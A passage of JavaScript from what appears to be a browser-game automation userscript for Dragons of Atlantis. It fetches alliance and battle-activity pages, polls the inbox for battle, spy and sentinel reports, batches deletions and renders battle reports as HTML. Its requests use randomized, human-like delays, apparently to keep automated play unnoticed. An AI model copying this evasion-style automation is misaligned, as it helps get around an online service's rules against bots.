			fetchAlliances: function(callback) {
				var t = MemberShips;
				t.results = {
					alliance: [],
					friends: [],
					foes: []
				};
				t.callback = callback;
				t.steps = 5;
				t.step = 1;
				t.percent = toNum(t.step * 100 / t.steps);
				progressBar.update({
					step: t.percent
				});
				var p = {};
				p = MyAjax.addMainParams();
				p['q'] = '';
				p['sort'] = 'might';
				p['count'] = 20;
				p['page'] = t.step;
				new MyAjaxRequest('alliances', 'alliances', p, t.updateAlliances, false);
			},
			updateAlliances: function(rslt) {
				var t = MemberShips;
				var allianceList = rslt.dat.alliances;
				if (!rslt.ok) {
					if (t.callback) t.callback(rslt);
					return;
				}
				if (allianceList) {
					for (var m = 0; m < allianceList.length; m++) {
						var d = {
							name: allianceList[m].name,
							id: allianceList[m].id,
							count: allianceList[m].member_count,
							rank: allianceList[m].rank,
							might: allianceList[m].might,
							lord: allianceList[m].overlord.name,
							lord_id: allianceList[m].overlord.id,
							desc: allianceList[m].description
						};
						t.results.alliance.push(d);
					}
					if (rslt.dat.friend_ids) {
						for (var f = 0; f < rslt.dat.friend_ids.length; f++)
							t.results.friends.push(rslt.dat.friend_ids[f]);
					}
					if (rslt.dat.foe_ids) {
						for (var f = 0; f < rslt.dat.foe_ids.length; f++)
							t.results.foes.push(rslt.dat.foe_ids[f]);
					}
				}
				t.callNextPage();
			},
			callNextPage: function() {
				var t = MemberShips;
				t.step++;
				t.percent = toNum(t.step * 100 / t.steps);
				progressBar.update({
					step: t.percent
				});
				if (t.step > t.steps) {
					if (t.callback) {
						t.results.done = true;
						t.callback(t.results);
					}
					return;
				}
				setTimeout(function() {
					var p = {};
					p = MyAjax.addMainParams();
					p['q'] = '';
					p['sort'] = 'might';
					p['count'] = 20;
					p['page'] = t.step;
					new MyAjaxRequest('alliances', 'alliances', p, t.updateAlliances, false);
				}, MAP_DELAY * Math.floor(Math.random() * (-1) + 2));
			},
			fetchActivity: function(id, callback) {
				var t = MemberShips;
				t.results = {
					battle: []
				};
				t.callback = callback;
				t.steps = 10;
				t.step = 0;
				t.id = id;
				t.percent = toNum(t.step * 100 / t.steps);
				progressBar.update({
					step: t.percent
				});
				if (id) {
					var p = {};
					p = MyAjax.addMainParams();
					p['offset'] = 0;
					p['approved'] = 0;
					p['limit'] = 20;
					p['sort'] = 'might';
					var jsonType = 'alliances/' + id + '/activity';
					new MyAjaxRequest('activity', jsonType, p, t.updateActivity, false);
				}
			},
			updateActivity: function(rslt) {
				var t = MemberShips;
				var activityList = rslt.dat.activity;
				if (!rslt.ok || (rslt.errmsg)) {
					t.callback(rslt);
					return;
				}
				if (activityList) {
					for (var m = 0; m < activityList.length; m++) {
						var d = {
							won: activityList[m].alliance_member_won,
							id: activityList[m].battle_report_id,
							def: activityList[m].alliance_member_attacked,
							time: activityList[m].battle_time_i,
							aid: activityList[m].alliance_player.id,
							aname: activityList[m].alliance_player.name,
							amight: activityList[m].alliance_player.might,
							ax: activityList[m].alliance_player.capital_x,
							ay: activityList[m].alliance_player.capital_y,
							pname: activityList[m].non_alliance_player.name,
							pmight: activityList[m].non_alliance_player.might,
							px: activityList[m].non_alliance_player.capital_x,
							py: activityList[m].non_alliance_player.capital_y,
							palli: activityList[m].non_alliance_player.alliance.name
						};
						t.results.battle.push(d);
					}
				}
				t.callNextActivity();
			},
			callNextActivity: function() {
				var t = MemberShips;
				t.step++;
				t.percent = toNum(t.step * 100 / t.steps);
				progressBar.update({
					step: t.percent
				});
				if (t.step > t.steps) {
					if (t.callback) {
						t.results.done = true;
						t.callback(t.results);
					}
					return;
				}
				setTimeout(function() {
					var p = {};
					p = MyAjax.addMainParams();
					p['offset'] = toNum(t.step) * 20;
					p['approved'] = 0;
					p['limit'] = 20;
					p['sort'] = 'might';
					var jsonType = 'alliances/' + t.id + '/activity';
					new MyAjaxRequest('activity', jsonType, p, t.updateActivity, false);
				}, MAP_DELAY * Math.floor(Math.random() * (-1) + 2));
			}
		}
		/******************************** MemberShips package ************************/

		/******************************** Messages package ***************************/
		var Messages = {
			readList: [],
			fetchTimer: null,
			mainTimer: 0,
			lastQueued: 0,
			unread_count: 0,
			total_count: 0,
			known_count: 0,
			checkBusy: false,
			battleReportListeners: [],
			alarmReportListeners: [],
			spyReportListeners: [],
			delete_queue: [],
			details: {},
			activity: {},
			/* Messages deletion */
			messageDeletion: false,
			readPagesTimer: null,
			pagesMessages: 0,
			pageReading: 0,
			toRead: [],
			idsToDelete: [],

			init: function() {
				var t = Messages;
				t.checkMessages({
					wait: 1000
				});
				window.addEventListener('unload', t.onUnload, false);
				t.mainTimer = setTimeout(t.messageTick, 1000);
			},

			messageTick: function() {
				var t = Messages;
				var found = false;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type]) {
						var march = Data.marches[type][id];
						if (march.status == 'retreating' && !march.has_report) found = true;
					}
				}
				clearTimeout(t.mainTimer);
				if (found && !t.messageDeletion) {
					t.checkMessages({
						category: (Data.options.disable_inbox ? 'reports' : 'all'),
						wait: Math.randRange(2000, 3000),
						bypass: false
					});
					t.mainTimer = setTimeout(t.messageTick, 5000);
				} else {
					if ((Data.options.tower.enabled || !Data.options.disable_inbox) && !t.messageDeletion) {
						var delay = (Data.options.disable_inbox ? 600000 : 60000);
						var tower_delay = (Data.options.tower.delay * Data.options.tower.unit * 1000);
						/* Do not check tower sentinel warning if currently under protection */
						var protection_remaining = getProtectionTime() * 1000;
						if (tower_delay < protection_remaining) tower_delay = protection_remaining;
						if (Data.options.tower.enabled) delay = (tower_delay > delay ? delay : tower_delay);
						t.checkMessages({
							category: (Data.options.disable_inbox ? 'reports' : 'all'),
							wait: delay,
							bypass: true
						});
					}
					t.mainTimer = setTimeout(t.messageTick, 1000);
				}
			},

			deleteMessage: function(msgId) {
				var t = Messages;
				t.delete_queue.push(msgId);
				if (t.delete_queue.length >= Math.randRange(5, 12)) doit();

				function doit() {
					var t = Messages;
					MyAjax.messageDelete(t.delete_queue, function(rslt) {
						var t = Messages;
						t.delete_queue = [];
					});
				}
			},

			onUnload: function() {
				var t = Messages;
				if (t.delete_queue.length > 0) MyAjax.messageDelete(t.delete_queue);
			},

			newWarning : function(obj) {
				logit('Messages.newWarning --- Start');
				var t = Messages;
				t.checkMessages({
					category: (Data.options.disable_inbox ? 'reports' : 'all'),
					wait: 1,
					bypass: true
				});
				logit('Messages.newWarning --- End');
			},
			
			/* check for battle reports */
			checkMessages: function(options) {
				var t = Messages;
				if (t.battleReportListeners.length == 0 &&
					t.alarmReportListeners.length == 0 &&
					t.spyReportListeners.length == 0 &&
					Data.options.disable_inbox) return; /* Do not check messages if no active report listener and if inbox is disabled */
				var category = (options.category || 'all').toLowerCase();
				var waitTime = options.wait || 20000;

				if (!RequestQueue.isPending('checkMessages', waitTime)) RequestQueue.add('checkMessages', function() {
					doit(category);
				}, waitTime, options.bypass);

				function doit(category) {
					MyAjax.messageList(category, 1, 12, function(rslt) {
						var t = Messages;
						if (rslt == null) return;
						var msgs = rslt.report_notifications;
						if (msgs == null) return;
						for (var i = msgs.length - 1; i >= 0; i--) {
							if (msgs[i].report_type === 'BattleReport' && !msgs[i].read_at && t.battleReportListeners.length != 0) {
								if (t.readList.indexOf(msgs[i].id) < 0) {
									t.readList.push(msgs[i].id);
								}
							}
							if (msgs[i].report_type === 'SpyReport' && !msgs[i].read_at && t.spyReportListeners.length != 0) {
								if (t.readList.indexOf(msgs[i].id) < 0) {
									t.readList.push(msgs[i].id);
								}
							}
							if (msgs[i].report_type === 'SentinelWarning' && (!msgs[i].read_at || Tabs.Tower.startup) && t.alarmReportListeners.length != 0) { /* && Data.options.tower.enabled){*/
								var found = false;
								for (var j = 0; j < Data.options.messages_tower.length; j++) {
									if (Data.options.messages_tower[j].id == msgs[i].id) {
										found = true;
										break;
									}
								}
								if (!found) t.readList.push(msgs[i].id);
							}
						}
						clearTimeout(t.fetchTimer);
						if (t.readList.length > 0) t.fetchTimer = setTimeout(t.fetchNext, Math.randRange(2000, 4000));
					});
				}
			},
			fetchNext: function() {
				var t = Messages;
				var id = t.readList[0];
				if (!id || id == null) {
					verboseLog('Messages.fetchNext BAD MESSAGE ID:\n' + inspectObj(t.readList, 8, 1));
					return;
				}
				clearTimeout(t.fetchTimer);
				MyAjax.messageDetail(id, function(rslt) {
					var t = Messages;
					t.readList.shift();
					if (rslt && rslt.report_notification && rslt.report_notification.report_type === 'BattleReport') t.gotReport('battle', rslt);
					if (rslt && rslt.report_notification && rslt.report_notification.report_type === 'SpyReport') t.gotReport('spy', rslt);
					if (rslt && rslt.report_notification && rslt.report_notification.report_type === 'SentinelWarning') t.gotReport('alarm', rslt, id); /* && Data.options.tower.enabled*/
					if (t.readList.length > 0) t.fetchTimer = setTimeout(t.fetchNext, Math.randRange(2000, 4000));
				});
			},
			gotReport: function(type, rpt, id) {
				var t = Messages,
					listeners = null;
				if (!rpt || !rpt.report) return;
				switch (type) {
					case 'battle':
						listeners = t.battleReportListeners;
						break;
					case 'spy':
						listeners = t.spyReportListeners;
						break;
					default:
						listeners = t.alarmReportListeners;
						break;
				}
				for (var i = 0; i < listeners.length; i++) {
					if (id) listeners[i](rpt, id);
					else listeners[i](rpt);
				}
			},
			removeReportListener: function(type, notify) {
				var t = Messages,
					listeners = null,
					counter = 0;
				switch (type) {
					case 'attacks':
					case 'waves':
					case 'multiple':
					case 'bookmark':
						listeners = t.battleReportListeners;
						counter = (Marches.count[type]);
						break;
					case 'spies':
						listeners = t.spyReportListeners;
						counter = (Marches.count[type]);
						break;
					default:
						listeners = t.alarmReportListeners;
						break;
				}
				var i = listeners.indexOf(notify);
				if (i >= 0) {
					if (counter == 0) listeners.splice(i, 1);
					else setTimeout(t.removeReportListener, 1000, type, notify);
				}
			},
			addAlarmReportListener: function(notify) {
				var i = Messages.alarmReportListeners.indexOf(notify);
				if (i <= 0) Messages.alarmReportListeners.push(notify);
			},
			addBattleReportListener: function(notify) {
				var i = Messages.battleReportListeners.indexOf(notify);
				if (i <= 0) Messages.battleReportListeners.push(notify);
			},
			addSpyReportListener: function(notify) {
				var i = Messages.spyReportListeners.indexOf(notify);
				if (i <= 0) Messages.spyReportListeners.push(notify);
			},

			/* Inbox functions */
			deleteSingleMsg: function(id, notify) {
				var t = Messages,
					ids = [];
				ids.push(id);
				MyAjax.messageDelete(ids, function(rslt) {
					var t = Messages;
					if (notify) notify(true);
				});
			},
			displayBattleReport: function(report, aname) {
				var rep = report.report;
				var att = rep.attacker;
				var def = rep.defender;
				var boLo =  rep.boost_logger;
				/* Battle report header section */
				var main_result = '';
				var sub_result = '';
				var is_defender = false;
				if (att.name == (aname || Seed.player.name)) {
					if (rep.winner == 'attacker') {
						main_result = 'victory';
						switch (rep.location.terrain) {
							case 'City':
								sub_result = 'attack-city-win';
								break;
							case 'Outpost':
								sub_result = 'attack-outpost-win';
								break;
							case 'AnthropusCamp':
								sub_result = 'attack-camp-win';
								break;
							default:
								sub_result = 'attack-wild-win';
								break;
						}
					} else {
						main_result = 'defeat';
						switch (rep.location.terrain) {
							case 'City':
								sub_result = 'attack-city-lose';
								break;
							case 'Outpost':
								sub_result = 'attack-outpost-lose';
								break;
							case 'AnthropusCamp':
								sub_result = 'attack-camp-lose';
								break;
							default:
								sub_result = 'attack-wild-lose';
								break;
						}
					}
				} else {
					is_defender = true;
					if (rep.winner == 'defender') {
						main_result = 'victory';
						switch (rep.location.terrain) {
							case 'City':
								sub_result = 'defend-city-win';
								break;
							case 'Outpost':
								sub_result = 'defend-outpost-win';
								break;
							default:
								sub_result = 'defend-wild-win';
								break;
						}
					} else {
						main_result = 'defeat';
						switch (rep.location.terrain) {
							case 'City':
								sub_result = 'defend-city-lose';
								break;
							case 'Outpost':
								sub_result = 'defend-outpost-lose';
								break;
							default:
								sub_result = 'defend-wild-lose';
								break;
						}
					}
				}
				var m = '<table style="margin-top:3px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=100%><br><b><span class=' + UID['red'] + '><b>' + translate(main_result).toUpperCase() + '</b></span></b> - <b>' + translate(sub_result) + '</b></td>' + '	</tr></table><br>' + '<table style="margin-top:3px" width=98%>' + '	<tr valign=top align=left>' + '		<td width=49%>' + '			<label>' + translate('report-no') + ' :</label><b>' + report.id + '</b><br>' + '			<label>' + new Date(report.created_at * 1000).myString() + '</label><br><br>' + '			<label>' + translate(rep.location.terrain) + ' ' + translate('level') + ' ' + rep.location.level + '</label><br>';
				var location = (rep.location.terrain == 'Outpost' ? translate(rep.location.title) : (rep.location.terrain == 'City' ? rep.location.title : ''));
				if (location != '') {
					m += '			<table width=100%><tr>' + '				<td width=5%><label>' + translate('location') + ' : </td><td width=95%><b>' + location + '</b></td></tr>' + '			<tr><td></td><td><label><b>' + rep.location.x + ', ' + rep.location.y + '</b></label></td></tr>' + '			</table><br>';
				} else {
					m += '			<label>' + translate('location') + ' : <b>' + rep.location.x + ', ' + rep.location.y + '</b></label><br>';
				}
				if (def.great_dragon) {
					var dmg = def.great_dragon.starting_life - def.great_dragon.ending_life;
					var life = ((dmg / def.great_dragon.starting_life) * 100).toFixed(2);
					var scales = '',
						scales_bonus = '';
					var armor = '',
						armor_bonus = '';
					if (def.buffs && def.buffs[0]) {
						scales = (def.buffs ? translate(def.buffs[0].name) : '');
						for (var s in def.buffs[0].stats) {
							if (def.buffs[0].stats[s] > 0)
								scales_bonus += translate(s) + ' +' + numf(def.buffs[0].stats[s], ' ') + ', ';
						}
						scales_bonus = scales_bonus.substr(0, scales_bonus.length - 2);
					}
					if (def.buffs && def.buffs[1]) {
						armor = (def.buffs ? translate(def.buffs[1].name) : '');
						for (var s in def.buffs[1].stats) {
							if (def.buffs[1].stats[s] > 0)
								armor_bonus += translate(s) + ' +' + numf(def.buffs[0].stats[s], ' ') + ', ';
						}
						armor_bonus = armor_bonus.substr(0, armor_bonus.length - 2);
					}
					m += '		<table width=100%><tr>' + '			<td width=20%>' + translate('GreatDragon') + ' ' + def.great_dragon.level + ' : </td>' + '			<td width=80%><b>' + numf(dmg, ' ') + '</b>' + translate(' damages taken') + '</td></tr>' + '		<tr><td></td><td><b>' + life + '%</b> ' + translate('life lost') + '</td></tr>';
					if (scales != '') m += '<tr><td colspan=2 style="white-space:normal;"><b>' + scales + '</b>&nbsp;&nbsp;(' + scales_bonus + ')</td></tr>';
					if (armor != '') m += '<tr><td colspan=2 style="white-space:normal;"><b>' + armor + '</b>&nbsp;&nbsp;(' + armor_bonus + ')</td></tr>';
					m += '		</table><br>';
				}
				m += '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '			<tr class=' + UID['row_headers'] + '><td colspan=2 class=left>' + translate('Resources') + '</td></tr>';
				var res = rep.spoils.resources;
				for (var r = 0; r < transportable_resource_types.length; r++) {
					var desc = transportable_resource_types[r];
					
					var found = false;
					if (res) {
						for (var p in res) { 
							if (p == transportable_resource_types[r]) {
								var res_value = (toNum(res[p]) > 0 ? '<b>' + numf(is_defender ? toNum(res[p]) * -1 : toNum(res[p])) + '</b>' : 0);
								m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%>' + res_value + '</td></tr>';
								found = true;
							}
						}
					}
					if (!found && desc != 'blue_energy' && desc != 'lunar_energy' && desc !='enchanting') {
						m += '		<tr><td class=left width=50%>' + translate(desc) + '</td><td align=right width=50%>0</td></tr>';
					}
				}
				var kitm = rep.spoils.kill_items;
				if (kitm) {
					for (var p in kitm)
						m += '		<tr><td class=left width=50%>' + translate(p) + '</td><td align=right width=50%>' + numf(toNum(kitm[p]), ' ') + '</td></tr>';
				}
				var itm = rep.spoils.items;
				if (itm && itm.length > 0) {
					for (var o = 0; o < itm.length; o++)
						m += '		<tr><td class=left colspan=2>' + translate(itm[o]) + '</td></tr>';
				} else {
					m += '		<tr><td class=left colspan=2>' + translate('battle-report-no-items') + '</td></tr>';
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table><br>' + '<div style="height:350px; max-height:350px; overflow-y:auto; white-space:pre-wrap;" width=98%>';
				/* Battle report troops section */
				if (att.location) {
					att_loc = att.location.x + ', ' + att.location.y;
				}
				else {
					att_loc = rep.location.x + ', ' + rep.location.y;
				}
				if (def.location) { 
					def_loc = def.location.x + ', ' + def.location.y;
				}
				else {
					def_loc = rep.location.x + ', ' + rep.location.y;
				}
				m += '<table style="margin-top:1px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' 
				+ '			<table class=' + UID['row_style'] + ' width=100%>' 
				+ '				<tr>' 
				+ '					<td valign=middle colspan=3><b>' + att.name + '</b> (' + att_loc + ')&nbsp;<span class=' + UID['red'] + '>' + ((rep.winner == 'attacker') ? translate('victorious') : translate('defeated')) + '</span></td>' 
				+ '				</tr><tr class=' + UID['row_headers'] + '>' 
				+ '					<td valign=middle width=47%><b>' + translate('Troops') + '</b></td>' 
				+ '					<td valign=middle width=19%><b>' + translate('Fought') + '</b></td>' 
				+ '					<td valign=middle width=17%><b>' + translate('lost') + '</b></td>' 
				+ '					<td valign=middle width=17%><b>' + translate('Might') + '</b></td>' 
				+ '				</tr>';
				if (att.units) {
					var total_might_lost = 0;
					for (var p in att.units) {
						if (p && att.units[p]) {
							var lost_troops_nb = (att.units[p][0] != att.units[p][1] ? att.units[p][0] - att.units[p][1] : 0);
							var lost_troops = (att.units[p][0] != att.units[p][1] ? '<span class=' + UID['red'] + '><b>' + numf(att.units[p][0] - att.units[p][1]) + '</b></span>' : 0);
							var total_might = 0;
							var descEqp = '';
							
							for (var i = 0; i < all_unit_types.length; i++) {
								if (all_unit_types[i] == p) {
									total_might = lost_troops_nb * Seed.stats.unit[all_unit_types[i]].power;
									total_might_lost += total_might;
									break;
								}
							}
							for (var idg = 0; idg < all_dragon_list.length; idg++) {
								if (all_dragon_list[idg] == p) {
									if(rep.battle_record[1]) {
										if(rep.battle_record[1].march) {
											var typeAb = '';
											switch (rep.attacker.great_dragon_info.type) {
												case 'Dragons::GreatDragon':
													break;
												case 'Dragons::WaterDragon':
													typeAb = 'water';
													break;
												case 'Dragons::StoneDragon':
													typeAb = 'stone';
													break;
												case 'Dragons::FireDragon':
													typeAb = 'fire';
													break;
												case 'Dragons::WindDragon':
													typeAb = 'wind';
													break;
												case 'Dragons::SpectralDragon':
													break;
												case 'Dragons::IceDragon':
													typeAb = 'ice';
													break;
												case 'Dragons::SwampDragon':
													typeAb = 'swamp';
													break;
												case 'Dragons::ForestDragon':
													typeAb = 'forest';
													break;
												case 'Dragons::DesertDragon':
													typeAb = 'desert';
													break;
												case 'Dragons::ChronoDragon':
													typeAb = 'chrono';
													break;
												case 'Dragons::KaiserDragon':
													typeAb = 'kaiser';
													break;
												case 'Dragons::CaveDragon':
													typeAb = 'cave';
													break;
												case 'Dragons::LunaDragon':
													typeAb = 'luna';
													break;
												case 'Dragons::ColossusDragon':
													typeAb = 'colossus';
													break;
											}
					
											for(var ba=0 ; ba<rep.battle_record[1].march.length ; ba++) {
												descEqp += translate('dragonpower-' + rep.battle_record[1].march[ba].name.replace(/_/g, '')) + '\n\t' + (translate(typeAb+'dragonpower-'+rep.battle_record[1].march[ba].slot+'-report')).replace('%num', numf(rep.battle_record[1].march[ba].amount, ' ')).replace(/"/g, '\"') + '\n';
											}
										}
									}
									break;
								}
							}
							
							if(att.equipment) {
								for(var ieqp=0; ieqp<att.equipment.length; ieqp++) {
									var eqpTroop = att.equipment[ieqp];
									if(eqpTroop.troop_type==p) {
										descEqp += translate(eqpTroop.name) + '\n';
										for(var istat in eqpTroop.stats) {
											descEqp += '\t' + translate(istat) + ' => +' + eqpTroop.stats[istat] + '\n';
										}
										descEqp += '\n';
									}
								}
							}

							m += '			<tr>' + '				<td class=left>' + translate(p) + (descEqp=='' ? '' : '	<span class="' + UID['information'] + '" style="width:auto !important;" title="' + descEqp + '"></span>') + ' </td>' + '				<td align=right>' + numf(att.units[p][0]) + '</td>' + '				<td align=right>' + lost_troops + '</td>' + '				<td align=right>' + numf(total_might) + '</td>' + '			</tr>';
						}
					}
					m += '	<tr>' + '		<td class=left><b>' + translate('Total lost') + '</b></td>' + '		<td align=right colspan=3><span class=' + UID['green'] + '><b>' + numf(total_might_lost) + '</b></span></td>' + '	</tr>';
				}
				m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr>' + '					<td valign=middle colspan=3><b>' + def.name + '</b> (' + def_loc + ')&nbsp;<span class=' + UID['red'] + '>' + ((rep.winner != 'attacker') ? translate('victorious') : translate('defeated')) + '</span></td>' + '				</tr><tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=47%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=19%><b>' + translate('Fought') + '</b></td>' + '					<td valign=middle width=17%><b>' + translate('lost') + '</b></td>' + '					<td valign=middle width=17%><b>' + translate('Might') + '</b></td>' + '				</tr>';
				if (def.units) {
					var total_might_lost = 0;
					for (var p in def.units) {
						if (p && def.units[p]) {
							var name = translate(p),
								multiplier = 1;
							if(p=='DefensiveTowerUnit') {
								name = translate(def.equipped_part.type);
							}
							if (def.anthropus) {
								switch (p) {
									case 'Porter':
										name = "Brats";
										multiplier = 3;
										break;
									case 'Conscript':
										name = "Cannibals";
										break;
									case 'Spy':
										name = "Stench";
										break;
									case 'Halberdsman':
										name = "She-Devils";
										multiplier = 2;
										break;
									case 'Minotaur':
										name = "Clubbers";
										multiplier = 2;
										break;
									case 'Longbowman':
										name = "Hurlers";
										multiplier = 3;
										break;
									case 'SwiftStrikeDragon':
										name = "Shredders";
										multiplier = 4;
										break;
									case 'BattleDragon':
										name = "Chieftan";
										multiplier = 4;
										break;
									case 'ArmoredTransport':
										name = "Shaggies";
										multiplier = 5;
										break;
									case 'Giant':
										name = "Bloods";
										multiplier = 5;
										break;
									case 'FireMirror':
										name = "Ragers";
										multiplier = 10;
										break;
									case 'AquaTroop':
										name = "Smash";
										multiplier = 5;
										break;
									case 'StoneTroop':
										name = "Launchers";
										multiplier = 5;
										break;
									case 'FireTroop':
										name = "Gnashers";
										multiplier = 5;
										break;
									case 'WindTroop':
										name = "Divers";
										multiplier = 5;
										break;
									default:
										name = translate(p);
										break;
								}
							}
							var qty = def.units[p][0] * multiplier;
							var survival = def.units[p][1] * multiplier;

							var lost_troops_nb = (qty != survival ? qty - survival : 0);
							var lost_troops = (qty != survival ? '<span class=' + UID['red'] + '><b>' + numf(qty - survival) + '</b></span>' : 0);
							var descEqp = '';
							var total_might = 0;

							for (var i = 0; i < all_unit_types.length; i++) {
								if (all_unit_types[i] == p) {
									total_might = lost_troops_nb * Seed.stats.unit[all_unit_types[i]].power;
									total_might_lost += total_might;
									break;
								}
							}
							
							if(def.equipment) {
								for(var ieqp=0; ieqp<def.equipment.length; ieqp++) {
									var eqpTroop = def.equipment[ieqp];
									if(eqpTroop.troop_type==p) {
										descEqp += translate(eqpTroop.name) + '\n';
										for(var istat in eqpTroop.stats) {
											descEqp += '\t' + translate(istat) + ' => +' + eqpTroop.stats[istat] + '\n';
										}
										descEqp += '\n';
									}
								}
							}

							m += '			<tr>' + '				<td class=left>' + name + (descEqp=='' ? '' : '	<span class="' + UID['information'] + '" style="width:auto !important;" title="' + descEqp + '"></span>') + ' </td>' + '				<td align=right>' + numf(qty) + '</td>' + '				<td align=right>' + lost_troops + '</td>' + '				<td align=right>' + numf(total_might) + '</td>' + '			</tr>';
						}
					}
					m += '	<tr>' + '		<td class=left><b>' + translate('Total lost') + '</b></td>' + '		<td align=right colspan=3><span class=' + UID['green'] + '><b>' + numf(total_might_lost) + '</b></span></td>' + '	</tr>';
				}
				m += '			</table>' + '		</td>' + '	</tr>' + '</table>';
				/* Boosts section */
				if(boLo || boLo.march || boLo.target) {
					m += '<table style="margin-top:1px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '><td colspan=3 class=left>' + translate('boost-combat') + '</td></tr>';
					if (boLo.march) {
						for (var o in boLo.march) {
							var rate = ((boLo.march[o] < 5) ? numf(Math.round(boLo.march[o] * 100)) + '%' : numf(boLo.march[o]));
							var name = translateByKey('name', o.replace(/ |_/g, '-'), 'boosts').replace(':', '');
							if ((name.indexOf('n%') <= 0) && (name.indexOf('%boost%') <= 0))
								m += '			<tr><td align=left colspan=2>' + name + '</td><td><b>' + rate + '</b></td></tr>';
							else {
								if (name.indexOf('n%') > 0) name = name.replace('n%', rate);
								if (name.indexOf('%boost%') > 0) name = name.replace('%boost%', rate);
								m += '			<tr><td align=left colspan=3>' + name + '</td></tr>';
							}
						}
					}
					m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '><td colspan=3 class=left>' + translate('boost-combat') + '</td></tr>';
					if (boLo.target) {
						for (var o in boLo.target) {
							var rate = ((boLo.target[o] < 5) ? numf(Math.round(boLo.target[o] * 100)) + '%' : numf(boLo.target[o]));
							var name = translateByKey('name', o.replace(/ |_/g, '-'), 'boosts').replace(':', '');
							if ((name.indexOf('n%') <= 0) && (name.indexOf('%boost%') <= 0))
								m += '			<tr><td align=left colspan=2>' + name + '</td><td><b>' + rate + '</b></td></tr>';
							else {
								if (name.indexOf('n%') > 0) name = name.replace('n%', rate);
								if (name.indexOf('%boost%') > 0) name = name.replace('%boost%', rate);
								m += '			<tr><td align=left colspan=3>' + name + '</td></tr>';
							}
						}
					}
					m += '			</table>' + '		</td>' + '	</tr>' + '</table>';
				}
				
				/* Bonus items section */
				if ((att.items && att.items.length > 0) || (def.items && def.items.length > 0)) {
					m += '<table style="margin-top:1px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '><td colspan=3 class=left>' + translate('bonus-items') + '</td></tr>';
					if (att.items && att.items.length > 0) {
						for (var o = 0; o < att.items.length; o++)
							m += '			<tr><td align=left colspan=3>' + translate(att.items[o]) + '</td></tr>';
					}
					m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '><td colspan=3 class=left>' + translate('bonus-items') + '</td></tr>';
					if (def.items && def.items.length > 0) {
						for (var o = 0; o < def.items.length; o++)
							m += '			<tr><td align=left colspan=3>' + translate(def.items[o]) + '</td></tr>';
					}
					m += '			</table>' + '		</td>' + '	</tr>' + '</table>';
				}
				/* Battle report souls section */
				if (att.souls || def.souls) {
					m += '<table style="margin-top:1px" width=98%>' + '	<tr valign=top align=center>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=70%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=30%><b>' + translate('Souls') + '</b></td>' + '				</tr>';
					if (att.souls) {
						var mausoleumsFull = false;
						if (att.souls.soul_capacity == true) {
							mausoleumsFull = true;
							delete att.souls.soul_capacity;
						}
						for (var p in att.souls) {
							if (p && !isNaN(att.souls[p]) && att.souls[p] > 0) {
								m += '			<tr>' + '				<td class=left>' + translate(p) + '</td>' + '				<td align=right>' + numf(att.souls[p]) + '</td>' + '			</tr>';
							}
						}
						if (mausoleumsFull) {
							m += '	<tr>' + '		<td class=left colspan=2><span class=' + UID['red'] + '><b>' + translate('mausoleums-full') + '</b></span></td>' + '	</tr>';
						}
					}
					m += '			</table>' + '		</td>' + '		<td width=2%>&nbsp</td>' + '		<td width=49%>' + '			<table class=' + UID['row_style'] + ' width=100%>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td valign=middle width=60%><b>' + translate('Troops') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Souls') + '</b></td>' + '					<td valign=middle width=20%><b>' + translate('Reaped') + '</b></td>' + '				</tr>';
					if (def.souls) {
						var mausoleumsFull = false;
						if (def.souls.soul_capacity == true) {
							mausoleumsFull = true;
							delete def.souls.soul_capacity;
						}
						for (var p in def.souls) {
							if (p && !isNaN(def.souls[p]) && def.souls[p] > 0) {
								var souls = def.souls[p];
								var reaped = 0;
								if (def.souls.reaped_souls && def.souls.reaped_souls[p] && !isNaN(def.souls.reaped_souls[p]) && def.souls.reaped_souls[p] > 0) {
									reaped = def.souls.reaped_souls[p];
									souls -= def.souls.reaped_souls[p];
									if (souls < 0) souls = 0;
								}
								m += '			<tr>' + '				<td class=left>' + translate(p) + '</td>' + '				<td align=right>' + numf(souls) + '</td>' + '				<td align=right>' + numf(reaped) + '</td>' + '			</tr>';
							}
						}
						if (mausoleumsFull) {
							m += '	<tr>' + '		<td class=left colspan=3><span class=' + UID['red'] + '><b>' + translate('mausoleums-full') + '</b></span></td>' + '	</tr>';
						}
					}
					m += '			</table>' + '		</td>' + '	</tr>' + '</table>';
				}
				m += '</div>';
				return m;
			},
			displayBreedingReport: function(report) {
				var rep = report.report;
